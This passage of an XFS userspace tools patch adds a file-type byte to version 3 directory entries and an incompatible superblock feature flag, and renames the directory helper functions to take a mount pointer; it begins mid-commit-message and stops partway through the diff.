writing the filetype field from the directory entries are also added. Only the read helpers are used by this patch. It also adds all the code necessary to read the type information out of the dirents on disk. Further we add the superblock feature bit and helpers to indicate that we understand the on-disk format change. This is not a compatible change - existing kernels cannot read the new format successfully - so an incompatible feature flag is added. We don't yet allow filesystems to mount with this flag yet - that will be added once write support is added. Finally, the code to take the type from the VFS, convert it to an XFS on-disk type and put it into the xfs_name structures passed around is added, but the directory code does not use this field yet. That will be in the next patch. Signed-off-by: Dave Chinner --- db/check.c | 12 +-- db/dir2.c | 10 +-- db/dir2sf.c | 9 ++- db/metadump.c | 10 +-- include/xfs_da_btree.h | 1 + include/xfs_dir2.h | 9 ++- include/xfs_dir2_format.h | 183 ++++++++++++++++++++++++++++++++++++++++------ include/xfs_sb.h | 28 ++++--- include/xfs_types.h | 1 + libxfs/xfs_dir2.c | 5 +- libxfs/xfs_dir2_block.c | 18 ++--- libxfs/xfs_dir2_data.c | 13 ++-- libxfs/xfs_dir2_leaf.c | 6 +- libxfs/xfs_dir2_node.c | 8 +- libxfs/xfs_dir2_priv.h | 44 +++++------ libxfs/xfs_dir2_sf.c | 122 ++++++++++++++++++------------- logprint/log_misc.c | 58 ++++++++------- repair/dir2.c | 37 +++++----- repair/dir2.h | 1 + repair/phase6.c | 22 +++--- 20 files changed, 384 insertions(+), 213 deletions(-) diff --git a/db/check.c b/db/check.c index d490f81..287e491 100644 --- a/db/check.c +++ b/db/check.c @@ -2309,7 +2309,7 @@ process_data_dir_v2( (int)((char *)dep - (char *)data)); error++; } - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); if ((char *)tagp >= endptr) { if (!sflag || v) dbprintf(_("dir %lld block %d bad entry at %d\n"), @@ -2324,7 +2324,7 @@ process_data_dir_v2( xname.name = dep->name; xname.len = dep->namelen; dir_hash_add(mp->m_dirnameops->hashname(&xname), addr); - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); count++; lastfree = 0; lino = be64_to_cpu(dep->inumber); @@ -3434,7 +3434,7 @@ process_sf_dir_v2( sfe = xfs_dir2_sf_firstentry(sf); offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); for (i = sf->count - 1, i8 = 0; i >= 0; i--) { - if ((__psint_t)sfe + xfs_dir2_sf_entsize(sf, sfe->namelen) - + if ((__psint_t)sfe + xfs_dir3_sf_entsize(mp, sf, sfe->namelen) - (__psint_t)sf > be64_to_cpu(dip->di_size)) { if (!sflag) dbprintf(_("dir %llu bad size in entry at %d\n"), @@ -3443,7 +3443,7 @@ process_sf_dir_v2( error++; break; } - lino = xfs_dir2_sfe_get_ino(sf, sfe); + lino = xfs_dir3_sfe_get_ino(mp, sf, sfe); if (lino > XFS_DIR2_MAX_SHORT_INUM) i8++; cid = find_inode(lino, 1); @@ -3473,8 +3473,8 @@ process_sf_dir_v2( } offset = xfs_dir2_sf_get_offset(sfe) + - xfs_dir2_sf_entsize(sf, sfe->namelen); - sfe = xfs_dir2_sf_nextentry(sf, sfe); + xfs_dir3_sf_entsize(mp, sf, sfe->namelen); + sfe = xfs_dir3_sf_nextentry(mp, sf, sfe); } if (i < 0 && (__psint_t)sfe - (__psint_t)sf != be64_to_cpu(dip->di_size)) { diff --git a/db/dir2.c b/db/dir2.c index 85240b0..39042b3 100644 --- a/db/dir2.c +++ b/db/dir2.c @@ -222,7 +222,7 @@ __dir2_data_entries_count( ptr += be16_to_cpu(dup->length); else { dep = (xfs_dir2_data_entry_t *)ptr; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } } return i; @@ -246,7 +246,7 @@ __dir2_data_entry_offset( ptr += be16_to_cpu(dup->length); else { dep = (xfs_dir2_data_entry_t *)ptr; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } } return ptr; @@ -495,7 +495,7 @@ dir2_data_union_tag_count( end = (char *)&dep->namelen + sizeof(dep->namelen); if (end > (char *)obj + mp->m_dirblksize) return 0; - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); } end = (char *)tagp + sizeof(*tagp); return end <= (char *)obj + mp->m_dirblksize; @@ -517,7 +517,7 @@ dir2_data_union_tag_offset( return bitize((int)((char *)xfs_dir2_data_unused_tag_p(dup) - (char *)dup)); dep = (xfs_dir2_data_entry_t *)dup; - return bitize((int)((char *)xfs_dir2_data_entry_tag_p(dep) - + return bitize((int)((char *)xfs_dir3_data_entry_tag_p(mp, dep) - (char *)dep)); } @@ -592,7 +592,7 @@ dir2_data_union_size( return bitize(be16_to_cpu(dup->length)); else { dep = (xfs_dir2_data_entry_t *)dup; - return bitize(xfs_dir2_data_entsize(dep->namelen)); + return bitize(xfs_dir3_data_entsize(mp, dep->namelen)); } } diff --git a/db/dir2sf.c b/db/dir2sf.c index b32ca32..d628641 100644 --- a/db/dir2sf.c +++ b/db/dir2sf.c @@ -24,6 +24,7 @@ #include "bit.h" #include "dir2.h" #include "dir2sf.h" +#include "init.h" static int dir2_inou_i4_count(void *obj, int startoff); static int dir2_inou_i8_count(void *obj, int startoff); @@ -155,8 +156,8 @@ dir2_sf_entry_size( sf = (struct xfs_dir2_sf_hdr *)((char *)obj + byteize(startoff)); e = xfs_dir2_sf_firstentry(sf); for (i = 0; i < idx; i++) - e = xfs_dir2_sf_nextentry(sf, e); - return bitize((int)xfs_dir2_sf_entsize(sf, e->namelen)); + e = xfs_dir3_sf_nextentry(mp, sf, e); + return bitize((int)xfs_dir3_sf_entsize(mp, sf, e->namelen)); } /*ARGSUSED*/ @@ -200,7 +201,7 @@ dir2_sf_list_offset( sf = (struct xfs_dir2_sf_hdr *)((char *)obj + byteize(startoff)); e = xfs_dir2_sf_firstentry(sf); for (i = 0; i < idx; i++) - e = xfs_dir2_sf_nextentry(sf, e); + e = xfs_dir3_sf_nextentry(mp, sf, e); return bitize((int)((char *)e - (char *)sf)); } @@ -220,6 +221,6 @@ dir2sf_size( sf = (struct xfs_dir2_sf_hdr *)((char *)obj + byteize(startoff)); e = xfs_dir2_sf_firstentry(sf); for (i = 0; i < sf->count; i++) - e = xfs_dir2_sf_nextentry(sf, e); + e = xfs_dir3_sf_nextentry(mp, sf, e); return bitize((int)((char *)e - (char *)sf)); } diff --git a/db/metadump.c b/db/metadump.c index 1c8020b..d9f35b0 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -939,7 +939,7 @@ obfuscate_sf_dir( namelen = ino_dir_size - ((char *)&sfep->name[0] - (char *)sfp); } else if ((char *)sfep - (char *)sfp + - xfs_dir2_sf_entsize(sfp, sfep->namelen) > + xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) > ino_dir_size) { if (show_warnings) print_warning("entry length in dir inode %llu " @@ -950,11 +950,11 @@ obfuscate_sf_dir( (char *)sfp); } - generate_obfuscated_name(xfs_dir2_sfe_get_ino(sfp, sfep), + generate_obfuscated_name(xfs_dir3_sfe_get_ino(mp, sfp, sfep), namelen, &sfep->name[0]); sfep = (xfs_dir2_sf_entry_t *)((char *)sfep + - xfs_dir2_sf_entsize(sfp, namelen)); + xfs_dir3_sf_entsize(mp, sfp, namelen)); } } @@ -1184,7 +1184,7 @@ obfuscate_dir_data_blocks( } dep = (xfs_dir2_data_entry_t *)ptr; - length = xfs_dir2_data_entsize(dep->namelen); + length = xfs_dir3_data_entsize(mp, dep->namelen); if (dir_offset + length > dir_data.end_of_data || ptr + length > endptr) { @@ -1194,7 +1194,7 @@ obfuscate_dir_data_blocks( (long long)cur_ino); break; } - if (be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) != + if (be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) != dir_offset) { dir_data.bad_block = 1; break; diff --git a/include/xfs_da_btree.h b/include/xfs_da_btree.h index 6fb3371..8cdc77b 100644 --- a/include/xfs_da_btree.h +++ b/include/xfs_da_btree.h @@ -176,6 +176,7 @@ enum xfs_dacmp { typedef struct xfs_da_args { const __uint8_t *name; /* string (maybe not NULL terminated) */ int namelen; /* length of string (maybe no NULL) */ + __uint8_t filetype; /* filetype of inode for directories */ __uint8_t *value; /* set of bytes (maybe contain NULLs) */ int valuelen; /* length of value */ int flags; /* argument flags (eg: ATTR_NOCREATE) */ diff --git a/include/xfs_dir2.h b/include/xfs_dir2.h index 7fe2b8f..9910401 100644 --- a/include/xfs_dir2.h +++ b/include/xfs_dir2.h @@ -68,10 +68,11 @@ extern int xfs_dir2_sf_to_block(struct xfs_da_args *args); extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); extern void xfs_dir2_sf_put_parent_ino(struct xfs_dir2_sf_hdr *sfp, xfs_ino_t ino); -extern xfs_ino_t xfs_dir2_sfe_get_ino(struct xfs_dir2_sf_hdr *sfp, - struct xfs_dir2_sf_entry *sfep); -extern void xfs_dir2_sfe_put_ino( struct xfs_dir2_sf_hdr *, - struct xfs_dir2_sf_entry *sfep, xfs_ino_t ino); +extern xfs_ino_t xfs_dir3_sfe_get_ino(struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *sfp, struct xfs_dir2_sf_entry *sfep); +extern void xfs_dir3_sfe_put_ino(struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep, + xfs_ino_t ino); extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); diff --git a/include/xfs_dir2_format.h b/include/xfs_dir2_format.h index 2095e17..a0961a6 100644 --- a/include/xfs_dir2_format.h +++ b/include/xfs_dir2_format.h @@ -69,6 +69,23 @@ #define XFS_DIR3_FREE_MAGIC 0x58444633 /* XDF3: free index blocks */ /* + * Dirents in version 3 directories have a file type field. Additions to this + * list are an on-disk format change, requiring feature bits. Valid values + * are as follows: + */ +#define XFS_DIR3_FT_UNKNOWN 0 +#define XFS_DIR3_FT_REG_FILE 1 +#define XFS_DIR3_FT_DIR 2 +#define XFS_DIR3_FT_CHRDEV 3 +#define XFS_DIR3_FT_BLKDEV 4 +#define XFS_DIR3_FT_FIFO 5 +#define XFS_DIR3_FT_SOCK 6 +#define XFS_DIR3_FT_SYMLINK 7 +#define XFS_DIR3_FT_WHT 8 + +#define XFS_DIR3_FT_MAX 9 + +/* * Byte offset in data block and shortform entry. */ typedef __uint16_t xfs_dir2_data_off_t; @@ -138,6 +155,9 @@ typedef struct xfs_dir2_sf_entry { xfs_dir2_sf_off_t offset; /* saved offset */ __u8 name[]; /* name, variable size */ /* + * A single byte containing the file type field follows the inode + * number for version 3 directory entries. + * * A xfs_dir2_ino8_t or xfs_dir2_ino4_t follows here, at a * variable offset after the name. */ @@ -162,16 +182,6 @@ xfs_dir2_sf_put_offset(xfs_dir2_sf_entry_t *sfep, xfs_dir2_data_aoff_t off) put_unaligned_be16(off, &sfep->offset.i); } -static inline int -xfs_dir2_sf_entsize(struct xfs_dir2_sf_hdr *hdr, int len) -{ - return sizeof(struct xfs_dir2_sf_entry) + /* namelen + offset */ - len + /* name */ - (hdr->i8count ? /* ino */ - sizeof(xfs_dir2_ino8_t) : - sizeof(xfs_dir2_ino4_t)); -} - static inline struct xfs_dir2_sf_entry * xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) { @@ -179,14 +189,78 @@ xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); } +static inline int +xfs_dir3_sf_entsize( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + int len) +{ + int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ + + count += len; /* name */ + count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : + sizeof(xfs_dir2_ino4_t); /* ino # */ + if (xfs_sb_version_hasftype(&mp->m_sb)) + count += sizeof(__uint8_t); /* file type */ + return count; +} + static inline struct xfs_dir2_sf_entry * -xfs_dir2_sf_nextentry(struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) +xfs_dir3_sf_nextentry( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) { return (struct xfs_dir2_sf_entry *) - ((char *)sfep + xfs_dir2_sf_entsize(hdr, sfep->namelen)); + ((char *)sfep + xfs_dir3_sf_entsize(mp, hdr, sfep->namelen)); } +/* + * in dir3 shortform directories, the file type field is stored at a variable + * offset after the inode number. Because it's only a single byte, endian + * conversion is not necessary. + */ +static inline __uint8_t * +xfs_dir3_sfe_ftypep( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (__uint8_t *)&sfep->name[sfep->namelen]; +} + +static inline __uint8_t +xfs_dir3_sfe_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + __uint8_t *ftp; + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return XFS_DIR3_FT_UNKNOWN; + + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + if (*ftp >= XFS_DIR3_FT_MAX) + return XFS_DIR3_FT_UNKNOWN; + return *ftp; +} + +static inline void +xfs_dir3_sfe_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep, + __uint8_t ftype) +{ + __uint8_t *ftp; + + ASSERT(ftype < XFS_DIR3_FT_MAX); + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return; + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + *ftp = ftype; +} /* * Data block structures. @@ -286,12 +360,18 @@ xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) * Active entry in a data block. * * Aligned to 8 bytes. After the variable length name field there is a - * 2 byte tag field, which can be accessed using xfs_dir2_data_entry_tag_p. + * 2 byte tag field, which can be accessed using xfs_dir3_data_entry_tag_p. + * + * For dir3 structures, there is file type field between the name and the tag. + * This can only be manipulated by helper functions. It is packed hard against + * the end of the name so any padding for rounding is between the file type and + * the tag. */ typedef struct xfs_dir2_data_entry { __be64 inumber; /* inode number */ __u8 namelen; /* name length */ __u8 name[]; /* name bytes, no null */ + /* __u8 filetype; */ /* type of inode we point to */ /* __be16 tag; */ /* starting offset of us */ } xfs_dir2_data_entry_t; @@ -311,20 +391,67 @@ typedef struct xfs_dir2_data_unused { /* * Size of a data entry. */ -static inline int xfs_dir2_data_entsize(int n) +static inline int +__xfs_dir3_data_entsize( + bool ftype, + int n) { - return (int)roundup(offsetof(struct xfs_dir2_data_entry, name[0]) + n + - (uint)sizeof(xfs_dir2_data_off_t), XFS_DIR2_DATA_ALIGN); + int size = offsetof(struct xfs_dir2_data_entry, name[0]); + + size += n; + size += sizeof(xfs_dir2_data_off_t); + if (ftype) + size += sizeof(__uint8_t); + return roundup(size, XFS_DIR2_DATA_ALIGN); +} +static inline int +xfs_dir3_data_entsize( + struct xfs_mount *mp, + int n) +{ + bool ftype = xfs_sb_version_hasftype(&mp->m_sb) ? true : false; + return __xfs_dir3_data_entsize(ftype, n); +} + +static inline __uint8_t +xfs_dir3_dirent_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) +{ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t type = dep->name[dep->namelen]; + + ASSERT(type < XFS_DIR3_FT_MAX); + if (type < XFS_DIR3_FT_MAX) + return type; + + } + return XFS_DIR3_FT_UNKNOWN; +} + +static inline void +xfs_dir3_dirent_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep, + __uint8_t type) +{ + ASSERT(type < XFS_DIR3_FT_MAX); + ASSERT(dep->namelen != 0); + + if (xfs_sb_version_hasftype(&mp->m_sb)) + dep->name[dep->namelen] = type; } /* * Pointer to an entry's tag word. */ static inline __be16 * -xfs_dir2_data_entry_tag_p(struct xfs_dir2_data_entry *dep) +xfs_dir3_data_entry_tag_p( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) { return (__be16 *)((char *)dep + - xfs_dir2_data_entsize(dep->namelen) - sizeof(__be16)); + xfs_dir3_data_entsize(mp, dep->namelen) - sizeof(__be16)); } /* @@ -375,13 +502,17 @@ xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) * data block header because the sfe embeds the block offset of the entry into * it so that it doesn't change when format conversion occurs. Bad Things Happen * if we don't follow this rule. + * + * XXX: there is scope for significant optimisation of the logic here. Right + * now we are checking for "dir3 format" over and over again. Ideally we should + * only do it once for each operation. */ #define XFS_DIR3_DATA_DOT_OFFSET(mp) \ xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&(mp)->m_sb)) #define XFS_DIR3_DATA_DOTDOT_OFFSET(mp) \ - (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir2_data_entsize(1)) + (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 1)) #define XFS_DIR3_DATA_FIRST_OFFSET(mp) \ - (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir2_data_entsize(2)) + (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 2)) static inline xfs_dir2_data_aoff_t xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) @@ -392,13 +523,19 @@ xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) static inline xfs_dir2_data_aoff_t xfs_dir3_data_dotdot_offset(struct xfs_dir2_data_hdr *hdr) { - return xfs_dir3_data_dot_offset(hdr) + xfs_dir2_data_entsize(1); + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_dot_offset(hdr) + + __xfs_dir3_data_entsize(dir3, 1); } static inline xfs_dir2_data_aoff_t xfs_dir3_data_first_offset(struct xfs_dir2_data_hdr *hdr) { - return xfs_dir3_data_dotdot_offset(hdr) + xfs_dir2_data_entsize(2); + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_dotdot_offset(hdr) + + __xfs_dir3_data_entsize(dir3, 2); } /* diff --git a/include/xfs_sb.h b/include/xfs_sb.h index d6f3648..c5b1c04 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -555,12 +555,6 @@ static inline void xfs_sb_version_addprojid32bit(xfs_sb_t *sbp) sbp->sb_bad_features2 |= XFS_SB_VERSION2_PROJID32BIT; } -static inline int xfs_sb_version_hascrc(xfs_sb_t *sbp) -{ - return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; -} - - /* * Extended v5 superblock feature masks. These are to be used for new v5 * superblock features only. @@ -599,7 +593,9 @@ xfs_sb_has_ro_compat_feature( return (sbp->sb_features_ro_compat & feature) != 0; } +#define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ #define XFS_SB_FEAT_INCOMPAT_ALL 0 + #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool xfs_sb_has_incompat_feature( @@ -619,16 +615,30 @@ xfs_sb_has_incompat_log_feature( return (sbp->sb_features_log_incompat & feature) != 0; } -static inline bool -xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +/* + * V5 superblock specific feature checks + */ +static inline int xfs_sb_version_hascrc(xfs_sb_t *sbp) { - return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; +} + +static inline int xfs_sb_version_hasftype(struct xfs_sb *sbp) +{ + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && + xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_FTYPE); } /* * end of superblock version macros */ +static inline bool +xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +{ + return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); +} + #define XFS_SB_DADDR ((xfs_daddr_t)0) /* daddr in filesystem/ag */ #define XFS_SB_BLOCK(mp) XFS_HDR_BLOCK(mp, XFS_SB_DADDR) #define XFS_BUF_TO_SBP(bp) ((xfs_dsb_t *)((bp)->b_addr)) diff --git a/include/xfs_types.h b/include/xfs_types.h index ce44b18..82bbc34 100644 --- a/include/xfs_types.h +++ b/include/xfs_types.h @@ -140,6 +140,7 @@ typedef enum { struct xfs_name { const unsigned char *name; int len; + int type; }; /* diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c index 830fe3e..521042f 100644 --- a/libxfs/xfs_dir2.c +++ b/libxfs/xfs_dir2.c @@ -18,7 +18,8 @@ #include -struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2}; +struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2, XFS_DIR3_FT_DIR }; + /* * ASCII case-insensitive (ie. A-Z) support for directories that was @@ -367,6 +368,7 @@ xfs_dir_replace( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.inumber = inum; args.dp = dp; @@ -414,6 +416,7 @@ xfs_dir_canenter( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.dp = dp; args.whichfork = XFS_DATA_FORK; diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c index d94b9b2..615eea9 100644 --- a/libxfs/xfs_dir2_block.c +++ b/libxfs/xfs_dir2_block.c @@ -107,7 +107,7 @@ const struct xfs_buf_ops xfs_dir3_block_buf_ops = { .verify_write = xfs_dir3_block_write_verify, }; -static int +int xfs_dir3_block_read( struct xfs_trans *tp, struct xfs_inode *dp, @@ -350,7 +350,7 @@ xfs_dir2_block_addname( if (error) return error; - len = xfs_dir2_data_entsize(args->namelen); + len = xfs_dir3_data_entsize(mp, args->namelen); /* * Set up pointers to parts of the block. @@ -530,7 +530,7 @@ xfs_dir2_block_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, args->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* * Clean up the bestfree array and log the header, tail, and entry. @@ -780,7 +780,7 @@ xfs_dir2_block_removename( needlog = needscan = 0; xfs_dir2_data_make_free(tp, bp, (xfs_dir2_data_aoff_t)((char *)dep - (char *)hdr), - xfs_dir2_data_entsize(dep->namelen), &needlog, &needscan); + xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); /* * Fix up the block tail. */ @@ -1140,7 +1140,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(dp->i_ino); dep->namelen = 1; dep->name[0] = '.'; - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); blp[0].hashval = cpu_to_be32(xfs_dir_hash_dot); @@ -1153,7 +1153,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(xfs_dir2_sf_get_parent_ino(sfp)); dep->namelen = 2; dep->name[0] = dep->name[1] = '.'; - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); blp[1].hashval = cpu_to_be32(xfs_dir_hash_dotdot); @@ -1198,10 +1198,10 @@ xfs_dir2_sf_to_block( * Copy a real entry. */ dep = (xfs_dir2_data_entry_t *)((char *)hdr + newoffset); - dep->inumber = cpu_to_be64(xfs_dir2_sfe_get_ino(sfp, sfep)); + dep->inumber = cpu_to_be64(xfs_dir3_sfe_get_ino(mp, sfp, sfep)); dep->namelen = sfep->namelen; memcpy(dep->name, sfep->name, dep->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); name.name = sfep->name; @@ -1214,7 +1214,7 @@ xfs_dir2_sf_to_block( if (++i == sfp->count) sfep = NULL; else - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } /* Done with the temporary buffer */ kmem_free(sfp); diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index 5074878..ea9ba91 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -131,7 +131,7 @@ __xfs_dir3_data_check( XFS_WANT_CORRUPTED_RETURN( !xfs_dir_ino_validate(mp, be64_to_cpu(dep->inumber))); XFS_WANT_CORRUPTED_RETURN( - be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) == + be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) == (char *)dep - (char *)hdr); count++; lastfree = 0; @@ -150,7 +150,7 @@ __xfs_dir3_data_check( } XFS_WANT_CORRUPTED_RETURN(i < be32_to_cpu(btp->count)); } - p += xfs_dir2_data_entsize(dep->namelen); + p += xfs_dir3_data_entsize(mp, dep->namelen); } /* * Need to have seen all the entries and all the bestfree slots. @@ -520,8 +520,8 @@ xfs_dir2_data_freescan( else { dep = (xfs_dir2_data_entry_t *)p; ASSERT((char *)dep - (char *)hdr == - be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep))); - p += xfs_dir2_data_entsize(dep->namelen); + be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep))); + p += xfs_dir3_data_entsize(mp, dep->namelen); } } } @@ -611,7 +611,8 @@ xfs_dir2_data_log_entry( struct xfs_buf *bp, xfs_dir2_data_entry_t *dep) /* data entry pointer */ { - xfs_dir2_data_hdr_t *hdr = bp->b_addr; + struct xfs_dir2_data_hdr *hdr = bp->b_addr; + struct xfs_mount *mp = tp->t_mountp; ASSERT(hdr->magic == cpu_to_be32(XFS_DIR2_DATA_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || @@ -619,7 +620,7 @@ xfs_dir2_data_log_entry( hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)); xfs_trans_log_buf(tp, bp, (uint)((char *)dep - (char *)hdr), - (uint)((char *)(xfs_dir2_data_entry_tag_p(dep) + 1) - + (uint)((char *)(xfs_dir3_data_entry_tag_p(mp, dep) + 1) - (char *)hdr - 1)); } diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index 55b7d05..04ad083 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -677,7 +677,7 @@ xfs_dir2_leaf_addname( ents = xfs_dir3_leaf_ents_p(leaf); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); bestsp = xfs_dir2_leaf_bests_p(ltp); - length = xfs_dir2_data_entsize(args->namelen); + length = xfs_dir3_data_entsize(mp, args->namelen); /* * See if there are any entries with the same hash value @@ -878,7 +878,7 @@ xfs_dir2_leaf_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* * Need to scan fix up the bestfree table. @@ -1409,7 +1409,7 @@ xfs_dir2_leaf_removename( */ xfs_dir2_data_make_free(tp, dbp, (xfs_dir2_data_aoff_t)((char *)dep - (char *)hdr), - xfs_dir2_data_entsize(dep->namelen), &needlog, &needscan); + xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); /* * We just mark the leaf entry stale by putting a null in it. */ diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index d2bd249..5b118d5 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -587,7 +587,7 @@ xfs_dir2_leafn_lookup_for_addname( ASSERT(free->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC) || free->hdr.magic == cpu_to_be32(XFS_DIR3_FREE_MAGIC)); } - length = xfs_dir2_data_entsize(args->namelen); + length = xfs_dir3_data_entsize(mp, args->namelen); /* * Loop over leaf entries with the right hash value. */ @@ -1241,7 +1241,7 @@ xfs_dir2_leafn_remove( longest = be16_to_cpu(bf[0].length); needlog = needscan = 0; xfs_dir2_data_make_free(tp, dbp, off, - xfs_dir2_data_entsize(dep->namelen), &needlog, &needscan); + xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); /* * Rescan the data block freespaces for bestfree. * Log the data block header if needed. @@ -1693,7 +1693,7 @@ xfs_dir2_node_addname_int( dp = args->dp; mp = dp->i_mount; tp = args->trans; - length = xfs_dir2_data_entsize(args->namelen); + length = xfs_dir3_data_entsize(mp, args->namelen); /* * If we came in with a freespace block that means that lookup * found an entry with our hash value. This is the freespace @@ -1989,7 +1989,7 @@ xfs_dir2_node_addname_int( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; 